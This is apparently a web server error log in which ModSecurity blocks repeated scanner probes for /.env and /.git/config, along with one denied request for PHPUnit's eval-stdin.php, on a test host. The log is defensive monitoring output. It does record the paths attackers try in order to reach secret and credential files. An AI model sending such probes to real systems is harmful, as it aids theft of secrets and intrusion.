[Sun Jul 21 12:45:05.853037 2024] [:error] [pid 591451] [client 194.55.186.87:50778] [client 194.55.186.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpzmsXrY20R6_4vya-M4YgAAAAQ"]
[Sun Jul 21 12:45:05.853695 2024] [:error] [pid 591451] [client 194.55.186.87:50778] [client 194.55.186.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZpzmsXrY20R6_4vya-M4YgAAAAQ"]
[Mon Jul 22 01:28:29.059064 2024] [:error] [pid 611795] [client 45.148.10.230:34838] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp2ZnWrNz9sAbLd-j89MrwAAAA8"]
[Mon Jul 22 01:28:29.059824 2024] [:error] [pid 611795] [client 45.148.10.230:34838] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp2ZnWrNz9sAbLd-j89MrwAAAA8"]
[Mon Jul 22 01:28:29.060234 2024] [:error] [pid 611795] [client 45.148.10.230:34838] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp2ZnWrNz9sAbLd-j89MrwAAAA8"]
[Tue Jul 23 01:33:59.326840 2024] [:error] [pid 635812] [client 45.148.10.230:39404] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp7sZ8wg4vZRnhvmnEpRFQAAAAM"]
[Tue Jul 23 01:33:59.327651 2024] [:error] [pid 635812] [client 45.148.10.230:39404] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp7sZ8wg4vZRnhvmnEpRFQAAAAM"]
[Tue Jul 23 01:33:59.328106 2024] [:error] [pid 635812] [client 45.148.10.230:39404] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zp7sZ8wg4vZRnhvmnEpRFQAAAAM"]
[Fri Jul 26 01:38:30.915039 2024] [:error] [pid 716125] [client 45.148.10.230:53214] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqLh9j5rlsvRvt44GKCI-QAAAAA"]
[Fri Jul 26 01:38:30.918069 2024] [:error] [pid 716125] [client 45.148.10.230:53214] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqLh9j5rlsvRvt44GKCI-QAAAAA"]
[Fri Jul 26 01:38:30.918507 2024] [:error] [pid 716125] [client 45.148.10.230:53214] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqLh9j5rlsvRvt44GKCI-QAAAAA"]
[Fri Jul 26 03:02:31.105411 2024] [:error] [pid 718411] [client 45.148.10.142:36264] [client 45.148.10.142] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqL1p7VPazJqQ7qBpfJjcQAAAAM"]
[Fri Jul 26 03:02:31.106065 2024] [:error] [pid 718411] [client 45.148.10.142:36264] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqL1p7VPazJqQ7qBpfJjcQAAAAM"]
[Fri Jul 26 03:02:31.106516 2024] [:error] [pid 718411] [client 45.148.10.142:36264] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqL1p7VPazJqQ7qBpfJjcQAAAAM"]
[Fri Jul 26 06:26:27.725833 2024] [:error] [pid 718410] [client 83.147.52.49:34024] [client 83.147.52.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqMlc1EQwJIfbzT14lgdVgAAAAI"]
[Fri Jul 26 06:26:27.726418 2024] [:error] [pid 718410] [client 83.147.52.49:34024] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqMlc1EQwJIfbzT14lgdVgAAAAI"]
[Fri Jul 26 06:26:27.726859 2024] [:error] [pid 718410] [client 83.147.52.49:34024] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZqMlc1EQwJIfbzT14lgdVgAAAAI"]
[Fri Jul 26 11:44:51.467852 2024] [:error] [pid 721156] [client 45.148.10.230:59130] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqNwE9NTEGArChAvb5V_OAAAAAs"]
[Fri Jul 26 11:44:51.468483 2024] [:error] [pid 721156] [client 45.148.10.230:59130] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqNwE9NTEGArChAvb5V_OAAAAAs"]
[Fri Jul 26 11:44:51.469049 2024] [:error] [pid 721156] [client 45.148.10.230:59130] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqNwE9NTEGArChAvb5V_OAAAAAs"]
[Sat Jul 27 23:06:09.150161 2024] [:error] [pid 744106] [client 45.148.10.230:35182] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqVhQc4tdMUp2Mqx6Ai74AAAAAc"]
[Sat Jul 27 23:06:09.150893 2024] [:error] [pid 744106] [client 45.148.10.230:35182] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqVhQc4tdMUp2Mqx6Ai74AAAAAc"]
[Sat Jul 27 23:06:09.151314 2024] [:error] [pid 744106] [client 45.148.10.230:35182] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqVhQc4tdMUp2Mqx6Ai74AAAAAc"]
[Mon Jul 29 03:39:41.707284 2024] [:error] [pid 788046] [client 45.148.10.230:45756] [client 45.148.10.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zqby3Rdr4gmpcwXc_mQsVwAAAAE"]
[Mon Jul 29 03:39:41.707949 2024] [:error] [pid 788046] [client 45.148.10.230:45756] [client 45.148.10.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zqby3Rdr4gmpcwXc_mQsVwAAAAE"]
[Mon Jul 29 03:39:41.708350 2024] [:error] [pid 788046] [client 45.148.10.230:45756] [client 45.148.10.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zqby3Rdr4gmpcwXc_mQsVwAAAAE"]
[Thu Aug 01 15:21:42.596023 2024] [:error] [pid 855510] [client 45.148.10.142:53814] [client 45.148.10.142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZquL5qhABvwAeyOHVt9HGAAAAAA"]
[Thu Aug 01 15:21:42.597639 2024] [:error] [pid 855510] [client 45.148.10.142:53814] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZquL5qhABvwAeyOHVt9HGAAAAAA"]
[Thu Aug 01 15:21:42.597874 2024] [:error] [pid 855510] [client 45.148.10.142:53814] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZquL5qhABvwAeyOHVt9HGAAAAAA"]
[Fri Aug 02 11:15:40.835168 2024] [:error] [pid 878958] [client 162.240.148.46:60170] [client 162.240.148.46] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqyjvD5LKyV9MmG5GddXiQAAAAA"]
[Fri Aug 02 11:15:40.836935 2024] [:error] [pid 878958] [client 162.240.148.46:60170] [client 162.240.148.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqyjvD5LKyV9MmG5GddXiQAAAAA"]
[Fri Aug 02 11:15:40.837428 2024] [:error] [pid 878958] [client 162.240.148.46:60170] [client 162.240.148.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZqyjvD5LKyV9MmG5GddXiQAAAAA"]
[Fri Aug 02 11:15:43.425090 2024] [authz_core:error] [pid 878960] [client 162.240.148.46:60616] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[Fri Aug 02 21:59:56.574922 2024] [:error] [pid 878960] [client 45.148.10.206:36842] [client 45.148.10.206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zq06vJ981mvUZfgdbJ_tBQAAAAI"]
[Fri Aug 02 21:59:56.575702 2024] [:error] [pid 878960] [client 45.148.10.206:36842] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zq06vJ981mvUZfgdbJ_tBQAAAAI"]
[Fri Aug 02 21:59:56.576925 2024] [:error] [pid 878960] [client 45.148.10.206:36842] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zq06vJ981mvUZfgdbJ_tBQAAAAI"]
[Tue Aug 06 17:30:19.561472 2024] [:error] [pid 970419] [client 47.128.239.1:45632] [client 47.128.239.1] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrJBi6-ElwVhYnRrlvdpCwAAAAY"]
[Tue Aug 06 17:30:19.563415 2024] [:error] [pid 970419] [client 47.128.239.1:45632] [client 47.128.239.1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrJBi6-ElwVhYnRrlvdpCwAAAAY"]
[Tue Aug 06 17:30:19.563866 2024] [:error] [pid 970419] [client 47.128.239.1:45632] [client 47.128.239.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrJBi6-ElwVhYnRrlvdpCwAAAAY"]
[Thu Aug 08 15:27:25.198603 2024] [:error] [pid 1015474] [client 45.148.10.59:38316] [client 45.148.10.59] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrTHvVzA6IHfAVbtJPnxaAAAAAU"]
[Thu Aug 08 15:27:25.199616 2024] [:error] [pid 1015474] [client 45.148.10.59:38316] [client 45.148.10.59] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrTHvVzA6IHfAVbtJPnxaAAAAAU"]
